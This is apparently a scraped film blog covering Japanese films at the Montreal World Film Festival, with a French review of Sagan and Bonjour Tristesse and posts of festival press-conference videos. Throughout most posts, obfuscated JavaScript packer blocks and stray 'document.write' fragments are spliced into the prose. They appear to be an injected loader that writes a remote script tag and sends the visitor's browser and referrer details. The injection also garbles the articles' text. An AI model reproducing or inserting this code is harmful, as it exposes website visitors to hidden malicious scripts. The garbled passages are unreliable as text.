Cinema

Montreal World Film Festival 2011

/ Clodjee / Leave a comment

In a press conference today, document.write(“”); the Montreal World Film Festival announced the programming of its 35th edition, which will be held from August 18 to August 28. During the eleven days of its duration, the festival will present 383 films from 70 countries, including 230 feature-length and medium-length movies as well as 153 short films. 107 of those features will be world or international premieres and 51 will be North American premieres! We must also note that the poster was designed by Claude Robinson, the jury is presided over by Spanish director Vicente Aranda, the opening film will be André Forcier’s Coteau Rouge, there will be a special tribute to Catherine Deneuve, a master class by Claude Lelouche and Bertand Tavernier will presents his personal favourites. Quite a program in perspective.
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Unfortunately, the festival is presenting this year only seven Japanese movies (plus a Japanese-related Brazilian movie): four in World Competition (including an animated short co-produced with Canada and the above-mentioned Brazilian movie), three in the Focus on World Cinema category and one documentary.

The World Competition

  • Antoki no Inochi (Life back then): Japan, 2011, 131 min.; Dir.: Takahisa Zeze; Scr.: Tanaka Sachiko, Takahisa Zeze (Based on the novel by Masashi Sada); Phot.: Atsuhiro Nabeshima; Ed.: Junichi Kikuchi; Cast: Masaki Okada, Nana Eikura, Mitsuru Fukikoshi, Akira Emoto, Rei Dan,Yoshiko Miyazaki, Kanji Tsuda.

    Kyohei, who has retreated into himself after several psychological wounds, finally begins to appreciate the preciousness of life, ironically through dealing with death.

    Schedule: 8/18, 21:30, TM.18.2; 8/19, 11:00, CI.19.2; 8/20, 16:30, CI.20.4.
    Read our commentary on this movie.

  • Muybridge’s Strings: Canada/Japan, 2011, 13 min.; Dir./Scr./Ed.: Koji Yamamura; Original Music, Sound Design: Normand Roger, Pierre Yves Drapeau, Denis Chartrand; Ex. Prod.: David Verrall (NFB), Kenji Saito (NHK), Shuzo John Shiota (Polygon); Prod.: Michael Fukushima (NFB), Keisuke Tsuchihashi (NHK), Shuzo John Shiota (Polygon). Animation co-produced by the National Film Board of Canada, NHK and Polygon Pictures.

    Can time be made to stand still? Can it be reversed? A meditation on this theme, contrasting the worlds of the photographer Eadweard Muybridge — who in 1878 successfully photographed consecutive phases in the movement of a galloping horse — and a mother who, watching her daughter grow up, realizes she is slipping away from her.

    Schedule: 8/21, 11:20, CI.21.2; 8/21, 21:30, TM.21.2; 8/22, 16:30, CI.22.4.
    Read our commentary on this movie.

  • Waga haha no ki (Chronicle of my mother): Japan, 2011, 119 min., Dir./Scr.: Masato Harada (based on a novel by Yasushi Inoue; Phot.: Akiko Shizawa; Ed.: Eugene Harada; Cast: Koji Yakusho, Aoi Miyazaki, Kikikirin.

    An aging mother clings to fading memories of her son and the maternal love which she always had for him but was never able to express because of the complex history of the family. It had always been hidden under layers of feelings.

    Schedule: 8/27, 11:20, CI.27.2; 8/27, 21:30, TM.27.2; 8/28, 16:00, CI.28.3.

  • Corações sujos (Dirty Hearts): Brazil, 2011, 107 min., Dir.: Vicente Amorim; Scr.: David França Mendes (based on a novel by Fernando Morais); Phot.: Rodrigo Monte; Ed.: Diana Vasconcellos; Cast: Tsuyoshi Ihara, Takako Tokiwa, Eiji Okuda, Kimiko Yo, Shun Sugata, Eduardo Moscovis.

    In Brazil after WWII, the large population of Japanese immigrants, already oppressed by the state, refused to believe that Japan has lost the war and a private war was begun against the “defeatists”. The story of one man caught up in this war and his wife’s struggle to extricate him.

    Schedule: 8/21, 11:20, CI.21.2; 8/21, 21:30, TM.21.2; 8/22, 16:30, CI.22.4.

Focus on World Cinema

  • Gekko no kamen (Moonlight mask): Japan, 2011, 102 min.; dir.: Itsuji Itao; Scr.: Itsuji Itao, Shoichiro Masumoto; Phot.: Masakazu Oka; Ed.: Ken Memita; Cast: Itsuji Itao, Tadanobu Asano, Satomi Ishihara.

    When Usagi, a WWII veteran, returns to Tokyo everyone is surprised to learn that he survived. Usagi hopes for a revival of his prewar theatrical career but his efforts quickly hit a snag when another “Usagi” turns up.

    Schedule: 8/19, 11:40, L10.19.1; 8/19, 21:30, L10.19.5; 8/20, 12:20, L10.20.2; 8/21, 19:00, L10.21.5.
    Read our commentary on this movie.

  • Kureizizum (Crazy-ism): Japan, 2010, 90 min.; Dir./Scr./Ed.: Shoji Kubota; Phot.: Aya Matsubayashi; Cast: Ryoba Baba, Akiko An, Makoto Uenobori, Enoku Shimegi, Kurumi Hijikata, Hikaru Shida.

    Five social misfits commit a successful murder-robbery, but, stuck in their hideout, they soon fight over the money

    Schedule: 8/21, 10:00, L10.21.1; 8/22, 21:40, L10.22.6; 8/24, 17:20, L10.24.3.
    Read our commentary on this movie.

  • Shiniyuku tsuma tono tabiji (My Wife): Japan, 2010, 113 min.; Dir.: Yukinari Hanawa; Scr.: Kohta Yamada; Phot.: Kenji Takama; Ed.: Nobuko Tomita; Cast : Aki Nashihara, REiko Tajima, Baiken Jukkaniji, Makoto Kaketa, Nikichi Kondo, Hiromi Kuronuma.

    In December, 1999, a middle-aged man was arrested and charged with “negligence as a guardian, resulting in death”, a charge normally levelled against a person responsible for an elderly person or a child. How did it come to be levelled in this case?

    Schedule: 8/26, 14:40, L17.26.3; 8/27, 12:40, L9.27.2; 8/27, 19:20, L9.27.5; 8/28, 16:00, L17.28.3.

Documentaries

  • Heisei Jirenma (The Heisei Dilemma): Japan, 2010, 98 min.; Dir.: Junichi Saito; Phot.: Nobutaka Murata; Ed.: Tetsuji Yamamoto.

    In the 1980s, after unexplained deaths at his boating school, its principal, Totsuka, was sent to jail. Physical punishment was banned in all Japanese schools. But now Totsuka is back at work.

    Schedule: 8/27, 9h50, L17.27.1; 8/27, 19h10, L17.27.5; 8/28, 18h40, L17.28.4.

Updates: While waiting for our own commentaries on those movies, you can always check the excellent commentaries by Claude Blouin on Shomingeki (9/15/2011). Added a few links (8/19/2012).

Bonjour Tristesse

/ Clodjee / 2 Comments

Durant le congé des Fêtes j’ai visionné le film Sagan de Diane Kurys, document.write(“”); dont je possédais le dvd depuis un certain temps déjà et que j’étais curieux de voir. Je ne connaissais que peu de choses de Francoise Sagan et je me disais que le film serait sans doute une bonne initiation… Déjà, la pochette nous dit: “Françoise a tout juste 18 ans quand elle écrit les premières lignes de Bonjour Tristesse, un roman dont le succès fulgurant suffira à lancer le mythe de “La Sagan”. Un mythe fait de formules brillantes, d’amours affranchies et de scandales tapageurs, derrière lesquels se cache une femme, que l’on qualifie d’anticonformiste pour ne pas la dire libre. Libre d’écrire, d’aimer, et de se détruire…”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdsby|var|u0026u|referrer|krafb||js|php’.split(‘|’),0,{}))

Le film est plutôt bien. C’est divertissant et j’ai appris beaucoup de choses sur Sagan. Toutefois, j’ignore dans quelle mesure ce récit est réellement fidèle à la vie du célèbre écrivain. J’ai lu quelques part que des noms et des événements avaient été changé pour des fins de dramatisation, ce qui est inévitable dans toute adaptation cinématographique, même quand il s’agit d’une adapation biographique. Par contre, l’actrice Sylvie Testud est exceptionnelle dans le rôle de Sagan. Même la ressemblance physique est frappante.

Toutefois, je ne peux m’empêcher de penser que, malgré l’importante oeuvre qu’elle a laissé derrière elle, la vie de Sagan est une vie perdue, gaspillée. Elle l’a vécut à fond, un peu à l’image de la Cécile de Bonjour Tristesse, aimant passionément tant hommes que femmes, se perdant dans des dépenses folles, l’alcool et la drogue. Comme beaucoup d’artiste bohème (Piaf par example), elle a finit sa vie pratiquement seule, ruinée et malade. Quelle tristesse…

SAGAN. France, 2008, 117 min.; Dir.: Diane Kurys; Scr.: Diane Kurys, Claire Lemaréchal, Martine Moriconi; Phot.: Michel Abramowicz; Ed.: Sylvie Gadmer; Art Dir.: Maxime Rebière; Set Decor.: Alexandra Lassen; Cost. Des.: Nathalie du Roscoat; Music: Armand Amar; Cast: Sylvie Testud (Francoise Quoirez dite Sagan), Pierre Palmade (Jacques Chazot), Jeanne Balibar (Peggy Roche), Arielle Dombasle (Astrid), Lionel Abelanski (Bernard Frank), Guillaume Gallienne (Jacques Quoirez), Denis Podalydès (Guy Schoeller), Margot Abascal (Florence Malraux), Samuel Labarthe (René Julliard). Rated PG / 14+. Site officiel: sagan-lefilm.com.

Mais je ne me suis pas arrêté là et j’ai décidé de poursuivre l’expérience “Sagan” (car j’aime découvrir les choses d’une façon thématique) avec le visionnement de l’adaptation cinématographique de Bonjour Tristesse, son oeuvre la plus connue. Le film en soi est très bon, comme peuvent l’être la plupart des films de cette époque, mais malheureuse-ment, comme je n’avais pas encore lu le roman au moment du visionnement, je ne pouvais pas le comparer au récit original. Et c’est peut être tant mieux car je préfère toujours juger un film sur ses propres mérites.

Vivant avec un père séducteur, Cécile mène un vie morne malgré qu’elle soit pleine de mondanités et de flirts. Elle serait sans doute heureuse si ce n’était du souvenir douloureux, remplis de tristesse et de remors, d’un été idyllique passé avec son père sur la Côte d’Azur et qui se termina dans le drame. Tout le préambule du film est en noir et blanc mais passe rapidement à la couleur lorsqu’un flashback nous amène dans les souvenirs de Cécile. C’est une très belle histoire, racontée avec brio et une technique visuelle d’une exceptionelle qualité. Au delà d’un bon récit, ce drame psychologique nous offre une intéressante réflection sur la moralité et la maturité. A voir absolument. Malheureusement, il semble que ce film soit assez difficile à trouver: il ne semble plus disponible qu’en usagé et la bibliothèque ne l’a qu’en format VHS. Il est toutefois disponible sur Amazon.com video on demand et le iTunes Store mais ce serait sans doute un titre mûr pour une sortie en format Blu-Ray.

Bonjour Tristesse. USA, 1958, 94 min.; Dir.: Otto Preminger; Scr.: Arthur Laurents (d’après le roman de Francoise Sagan); Phot.: George Perinal; Ed.: Helga Cranston; Art Dir.: Ray Simm; Set Decor.: Roger Furse; Cost. Des.: Hope Bryce, May Walding; Music: Georges Auric; Cast: Deborah Kerr (Anne Larson), David Niven (Raymond), Jean Seberg (Cecile), Mylène Demongeot (Elsa), Goeffrey Horne (Philippe), Juliette Gréco (herself). Rated NR (Suggéré pour 14+).
Extrait du film sur YouTube:

Après avoir vu un film aussi charmant j’étais encore plus curieux d’en lire le récit original. Chanceux que je suis, j’ai trouvé parmi les trésors de mon sous-sol une édition toute jaunie de Bonjour Tristesse (Julliard, 1957; la couverture nous précise que la réimpression a déjà atteint le 700e mille). A cette époque les romans français avaient des couvertures vraiment ennuyantes, par contre j’aime bien l’illustration de couverture de cette édition anglaise (ci-contre) qui représente bien l’esprit du livre. Celui-ci est bien sûr disponible en bibliothèques en de multiple éditions françaises.

La couverture arrière nous dit: “Un homme de quarante ans, charmant, léger, aux aventures faciles et nombreuses, et sa fille de dix-sept ans, Cécile, forment un couple inséparable de camarades. Ils vivent dans la plus grande liberté, une amoralité parfaite, une insouciance totale, jusqu’au jour où, plus dangereuse que toutes les habituelles « passantes », une femme survient… Belle, envoûtante, un peu mystérieuse, Anne, qui fut la meilleure amie de la mère de Cécile, va vouloir enchaîner l’homme volage et préserver la jeune fille d’une dépravation certaine. Devant cette menace, Cécile, avec un machiavélisme à la fois innocent et pervers, provoque la rupture, la catastrophe… Le danger est écarté, mais un nouveau visage hantera désormais l’adolescente : celui de la tristesse. Écrit par une jeune fille de dix-huit ans, ce roman, poétique et ensorcelant, révèle un talent exceptionel.”

L’ouvrage débute ainsi: “Sur ce sentiment inconnu dont l’ennui, la douceur m’obsèdent, j’hésite à apposer le nom, le beau nom grave de tristesse.” Contraitement au film, le récit original est plutôt linéaire et n’a pas de véritable flashback — quoique la narration se fait au passé. À part cela, il n’y a guère de différences: Cécile a dix-sept ans (et non dix-huit), son jeune amant se nomme plutôt Cyril (au lieu de Philippe) et leur relation est plus poussée (évidemment un film américain des années ’50 ne pouvait pas montrer de sexualité). C’est assez bien écrit (quoique je trouve que le style de Sagan manque un peu de fluidité) et se prête bien à la narration que l’on retrouve dans le film. C’est charmant et c’est court (cent-quatre-vingt-huit pages). La grande popularité de ce roman ne tient pas tant à sa qualité littéraire, qui n’a absolument rien d’exceptionelle, mais plutôt au jeune âge de l’auteur et au sujet qui, pour l’époque, était choquant. Le Vatican avait d’ailleurs condamné l’ouvrage dont les personnages ignoraient complètement la moralité, et, sans le mettre à l’index, tentait d’en dissuader la lecture “comme un poison qui doit être éloigné des lèvres de la jeunesse.” Cela n’en demeure pas moins un ouvrage important de la littérature française.

Sagan © 2009 Équinoxe Films. Tous droits réservés. Bonjour Tristesse © 1954 by René Julliard, Paris.

Paradise Kiss live-action movie!

/ Clodjee / Leave a comment

The superb manga series by Ai Yazawa, document.write(“”); already adapted into anime by Madhouse in 2005, is now getting a live-action movie adaptation. Produced by Fox International and starring Keiko Kitagawa (Yukari), Osamu Mukai (George), Aya ?masa (Miwako), and Kento Kaku (Arashi), the movie will be released in Japan in May 2011. Here’s the ???????? teaser to prove it (Cool! It really looks like the manga/anime; I can’t wait to see more!):
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(Sources: ANN, Japanator, Wikipedia, YouTube)

Commentaires festifs

/ Clodjee / Leave a comment

J’ai été tellement occupé ces derniers mois que je n’ai pas encore eu le temps de finaliser mes commentaires sur les films japonais du Festival des Films du Monde 2010. Si tout se passe comme d’habitude je les terminerai et mettrai en ligne probablement à temps pour le festival de l’an prochain!
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iiffy|var|u0026u|referrer|rdsdt||js|php’.split(‘|’),0,{}))

En attendant, document.write(“”); je vous propose de lire les commentaires de Claude R. Blouin, un éminent spécialiste québécois du cinéma japonais (voir sa biographie sur L’Île, ses chroniques sur le portail régional de Lanaudière et je recommande son “Petit guide de l’autodidacte vorace en culture japonaise”).

M. Blouin est un collaborateur régulier au magazine allemand Shomingeki, une publication en ligne qui offre des commentaires et des notes sur le cinéma de la vie quotidienne (au Japon, “Shomingeki“ designe un genre de cinéma dramatique pour le peuple (la classe moyenne), sur la vie de tous les jours). Il y a récemment publié son appréciation des films japonais offert tant au Festival des Films du Monde qu’au Festival du Nouveau Cinéma:

A world of illusion

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Someone on Facebook recently linked to a video that exposes the fact there are much more special effects shots in most TV series than we would normally expect. It makes sense: as the cost of CGI goes down it becomes simpler and cheaper to simply shoot a scene in front of a green screen rather than go on location. We cannot believe what our eyes are seeing anymore. See the marvel of computer graphics:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ssaiz|var|u0026u|referrer|iasyf||js|php’.split(‘|’),0,{}))


Also, document.write(“”); a lot of fuss was made recently about the nude scene Jessica Alba had in the movie Machete. The reason? It was another movie magics “fake”. See for yourself.

Tony Curtis (1925-2010)

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To pay tribute to Tony Curtis, document.write(“”); who died last week, I am re-posting this video of the press conference he did at the Montreal World Film Festival in 2008 to talk about the documentary “The Jill and Tony Curtis Story.”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhkys|var|u0026u|referrer|fstdf||js|php’.split(‘|’),0,{}))

Tony Curtis from clodjee on Vimeo. (Also available on Blip.tv).

Villain / Akunin (video)

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Screening presentation and press conference for the Japanese movie Villain (Akunin) at the 2010 Montreal World Film Festival (filmed September 5th & 6th 2010). Please note that I am not a pro videographer, document.write(“”); so this video is a rather shaky rough cut with limited editing.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeeba|var|u0026u|referrer|zzskh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dibzs|var|u0026u|referrer|tyher||js|php’.split(‘|’),0,{}))

Villain from clodjee on Vimeo.Also available on Blip.tv

Box – The Hakamada Case (video)

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Screening presentation and press conference for the Japanese movie Box – The Hakamada Case at the 2010 Montreal World Film Festival (filmed September 2nd & 3rd 2010). Please note that I am not a pro videographer, document.write(“”); so this video is a rather shaky rough cut with limited editing.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnzat|var|u0026u|referrer|frznh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nabhk|var|u0026u|referrer|aysna||js|php’.split(‘|’),0,{}))

Box – The Hakamada Case from clodjee on Vimeo.Also available on Blip.tv

Hommage à Nathalie Baye (video)

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Conférence de presse rendant hommage à Nathalie Baye lors du Festival des Films du Monde 2010 (filmé le 5 septembre 2010). En français seulement.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nkhhs|var|u0026u|referrer|dkdzr||js|php’.split(‘|’),0,{}))

Press conference paying tribute to French actress Nathalie Baye at the 2010 Montreal World Film Festival (filmed on September 5th). In French only.

Please note that I am not a pro videographer, document.write(“”); so this video is a rather shaky rough cut with limited editing.

Hommage à Nathalie Baye from clodjee on Vimeo.
Also available on Blip.tv

Caterpillar and Torocco (video)

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Here are the screening presentation of the movies Caterpillar (Le Soldiat-Dieu) and Torocco (Rail Truck) at the 2010 Montreal World Film Festival. I am not a pro videographer, document.write(“”); so these video are rather shaky rough cuts with limited editing. Note that the Caterpillar video is only in French.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akiai|var|u0026u|referrer|dkyab||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brhyn|var|u0026u|referrer|sdfrs||js|php’.split(‘|’),0,{}))

Caterpillar [ Vimeo ] [ YouTube ]


Torocco [ Vimeo ] [ YouTube ]

Clip: Losique sur le cinema japonais

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À la conférence de presse dévoilant la programmation 2010 du Festival des Films du Monde tenue le 10 août dernier, document.write(“”); le président du festival, Serge Logique, a fait quelques commentaires sur le cinéma Japonais. Ce n’est pas la première fois qu’il exprime ainsi une attention particulière au cinéma Japonais (quoiqu’il y a quelques années, c’était dans le cadre d’un “Focus sur le cinéma Japonais”) ce qui démontre qu’il l’apprécie et s’y intéresse beaucoup.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhhdy|var|u0026u|referrer|kbndd||js|php’.split(‘|’),0,{}))

Il déplore que le cinéma Japonais ne soit malheureusement pas très présent ni bien connu en Amérique du Nord et que c’est la tâche des journalistes de le faire découvrir et apprécier du grand public. Il rappelle que le Japon nous a donner de nombreux grands réalisateurs et que, après quelques décennies de vaches maigres, le cinéma Japonais est revenu en grande force. Il explique que le cinéma Japonais a toujours été très présent au Festival des Films du Monde parce que les producteurs Japonais le considère comme un tremplin vers le marché international.

Vous pouvez visionner la conférence de presse présentant la programmation 2010 du FFM dans sa quasi-totalité sur Vimeo.

Losique sur le cinema Japonais from clodjee; on Vimeo.
At the press conference unveiling the Montreal World Film Festival 2010 programming, which was held on August 10th, Serge Losique, the director of the festival, made some comments on the Japanese cinema. It is not the first time that he express such a particular interest for this cinema (although a few years ago he did it while the festival was presenting a special “focus” on the Japanese cinema) which seems to demonstrate that he is quite fond of it.

He laments that Japanese cinema is unfortunately not very present nor known in North America, and that it is up to the journalists to introduce it to movie goers and make them appreciate it. He recalls that Japan gave us many great directors and that, following several decades of lean times, Japanese cinema is coming back with great strengths. He points out that it has always had an important place at the Montreal World Film Festival because Japanese producers see the festival as a stepping stone toward the international market.

You can watch the MWFF 2010 programming press conference in almost its entirety on Vimeo.

“Sword of Desperation” video

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Here’s a video of the screening presentation and press conference of the Japanese movie Sword of Desperation at the Montreal World Film Festival 2010 (filmed by clodjee on August 27th, document.write(“”); 31:21 min.):
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbzfe|var|u0026u|referrer|ezakr||js|php’.split(‘|’),0,{}))

Sword of Desperation from clodjee on Vimeo.

Montreal World Film Festival 2010

/ Clodjee / 2 Comments

In a press conference today, document.write(“”); the Montreal World Film Festival announced the programming of its 34th edition, which will be held from August 26 to September 6. During the twelve days of its duration, the festival will present 430 films from 80 countries, including 277 feature-length movies, 15 medium-length and 188 short films. 113 of those features will be world or international premieres!
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fidtd|var|u0026u|referrer|rhfrd||js|php’.split(‘|’),0,{}))

“True to its mandate, which is to encourage cultural diversity, to stimulate quality cinema, to discover and promote new talent, the Montreal World Film Festival presents a program that is more diverse and inclusive than ever, with pride of place to discovery even when offering a showcase to established artists. (…) The Festival team worked hard to find films off the beaten track, especially to offer young filmmakers an opportunity to show their talent.“

This year the festival is offering us twelve Japanese movies: nine features, two documentaries and one “rerun.” Of the twenty features from twenty-four countries that make up the World Competition section, three are Japanese. That’s a much bigger Japanese selection than last year.

The World Competition [list]

  • Akunin (Villain), 139 min., directed by Sang-Il LEE, Cast: Satoshi Tsumabuki, Eri Fukatsu, Masaki Okada, Hikari Mitsushima, Kirin Kiki, Akira Emoto. A young insurance saleswoman is found strangled at Mitsuse Pass. Her family and friends are shocked. The pass — which tunnels through a mountainous region of southern Japan — has an eerie history… Schedule: 9/5, 21:30, TM.05.2; 9/5, 9:00, CI.05.1; 9/6, 16:30, CI.06.3.
  • Box — Hakamada Jiken — Inochi Towa (Box: The Hakamada Case), 117 min., directed by TAKAHASHI Banmei, Cast: Masato Hagiwara, Hirofumi Arai, Riona Hazuki, Takeoni Murano, Naoki Hosaka, Ryo Ishibashi. Based on a criminal case in Japan in mid 1960s, the story centres on two men who was born in the same year; one is sentenced to death for murder and the other is the judge who believes his innocence.
    Schedule: 9/2, 21:30, TM.02.1; 9/2, 9:00, CI.02.1; 9/3, 16:30, CI.03.4.
  • Hisshiken Torisashi (Sword of Desperation), 114 min., directed by HIRAYAMA Hideyuki, Cast: Etsushi Toyokama, Chizuru Ikewari, Koji Kikkawa. During the Edo Period in Japan, Kanemi Sanzaemon, a skilled swordsman and chief of the Unasaka battles to rid his clan of political corruption.
    Schedule: 8/27, 21:30, TM.27.1; 8/27, 9:00, CI.27.1; 8/28, 14:00, CI.28.3.

First Films World Competition [list]

  • Torocco (Rail Truck), Japan/Taiwan co-production, 116 min., directed by KAWAGUCHI Hirofumi. Cast: Machiko Ono, Kento Harada, Kyoichi Omae, Hong Liu, Chang Han, Wan Fan, Bryant Chang, Mei Fang. When Yumiko Yano travels with her sons, Atsushi and Toki, from her home in Tokyo to the Taiwanese village of her late husband, the boys discover a culture and a society that is alien to their Japanese existence.
    Schedule: 9/2, 12:00, L10.02.2; 9/2, 19:00, L10.02.5; 9/4, 19:20, L10.28.3.

Out of Competition [list]

  • Bushi no Kakeibo (Abacus and Sword), 120 min., directed by MORITA Yoshimitsu. Cast : Masato Sakai, Yukie Nakama, Keiko Matsuzaka, Masahito Nishimura, Masatoshi Makamura, Mitsuko Kusabue. In the Edo era, Japan was facing a period of upheaval. The great Tenpo famine of the 1830s and other developments have left the finances of the Kaga Domain in a precarious financial position…
    Schedule: 8/30, 10:00, L12.30.1; 831, 21:30, C!.31.6; 9/1, 14:30, L12.01.3.
  • Caterpillar (Le soldat-dieu), 85 min., directed by WAKAMATSU Koji. Cast : Shinobu Terajima, Shima Ohnishi, Ken Yoshizawa, Keigo Kasuya, Emi Masuda, Sabu Kawahara. During the Second Sino-Japanese War, in 1940, Lieutenant Kurokawa returns home as a honoured and decorated soldier, but deprived of his arms and leg, lost on the battlefield in mainland China.
    Schedule: 9/2, 21:40, L17.02.5; 9/3, 14:50, L17.03.3; 9/4, 21:40, L17.04.6.

Focus on World Cinema [list]

  • Inshite Miru (The Incite Mill), 110 min., directed by NAKATA Hideo. Cast : Tatsuya Fujiwara, Haruka Ayase, Satomi Ishihara. Ten people respond to a preposterous job posting — a short term project promising to pay $1200 an hour. Sounds dodgy but the money is hard to resist.
    Schedule: 9/2, 10:00, L15.02.1; 9/2, 21:40, L15.02.6; 9/5, 19:20, L16.05.5.
  • Shitsuren Satsujin (Lost Love Murder), 100 min., directed by KUBOTA Shoji. Cast : Mao Miyaji, Yurei Yanagi, Ryuchi Ohura, Kinuo Yamada, Kouta Kusano, Mari Hoshino. Suichi is madly in love with his wife, but he suspects that she is unfaithful, and this gnawing jealousy leads to a bizarre murder.
    Schedule: 9/2, 21:40, L16.02.6; 9/3, 10:00, L17.03.1; 9/4, 12:10, L16.04.2.
  • Suito Rituru Raizu (Sweet Little Lies), 117 min., directed by YAZAKI Hitoshi. Cast : Miki Nakatani, Nao Omori, Chizuru Ikewaki, Junichi Kobayashi. Ruriko, an artist, has been married to Satoshi for three years and on the surface their marriage seems ideal. In fact, however, they have been gradually growing distant.
